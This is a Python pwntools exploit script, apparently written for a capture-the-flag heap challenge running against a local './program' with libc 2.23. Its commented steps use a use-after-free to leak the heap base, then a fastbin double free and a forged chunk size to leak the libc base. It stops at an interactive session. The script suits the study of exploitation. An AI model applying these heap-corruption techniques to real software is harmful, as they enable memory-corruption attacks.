#!/usr/bin/env python

from pwn import *

def alloc(index, content):
    p.recvuntil('Your choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.send(content)

def show(index):
    p.recvuntil('Your choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    return p.recvuntil('Done!\n')

def free(index):
    p.recvuntil('Your choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Done!\n')

def leak_heap():
    alloc(0, 'a' * 80) # fastbin_1
    alloc(1, 'b' * 80) # fastbin_2
    alloc(2, 'c' * 80) # fastbin_3

    # fastbin_1 would be at the end of list
    # pointing to fastbin_2
    free(2)
    free(1)
    free(0)

    # use after free
    # leak fastbin_1's fd pointer which points to fastbin_2
    return u64(show(0)[0:6] + '\x00\x00') - 96

def leak_libc(heap_base):
    alloc(0, 'd' * 80) # fastbin_4 (heap_base + 0)
    alloc(1, 'e' * 80) # fastbin_5 (heap_base + 96)
    alloc(2, 'f' * 80) # fastbin_6 (heap_base + 96 + 96)

    # allocate this to prevent consolidation with top chunk
    alloc(3, 'g' * 80) # fastbin_7 (heap_base + 96 + 96 + 96)

    # double free, put fastbin_4 in the free list twice
    free(0)
    free(1)
    free(0)

    # fastbin_8 allocates in the place of fastbin_4
    # put fake chunk's address in fd pointer
    fake_chunk = heap_base + 16
    alloc(0, p64(fake_chunk) + 'd' * 72) # fastbin_8 (heap_base + 0)

    # fastbin_9 allocates in the place of fastbin_5
    alloc(1, 'e' * 80) # fastbin_9 (heap_base + 96)

    # fastbin_10 and fastbin_8 points to the same chunk
    # set the fake chunk's size and fd
    alloc(0, p64(0) + p64(97) + p64(0) + 'd' * 56) # fastbin_10 (heap_base + 0)

    # this allocation returns the fake chunk
    # fake chunk overlaps with fastbin_9
    # set fastbin_9 to 192, which makes it a small bin chunk
    alloc(4, 'h' * 64 + p64(0) + p64(193))

    # this free writes libc address fd and bk pointers of fastbin_9
    free(1)

    # we can leak the libc address
    return u64(show(1)[0:6] + '\x00\x00') - 0x3c4b78

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    heap_base = leak_heap()
    print 'heap base: {}'.format(hex(heap_base))

    libc_base = leak_libc(heap_base)
    print 'libc base: {}'.format(hex(libc_base))

    p.interactive()

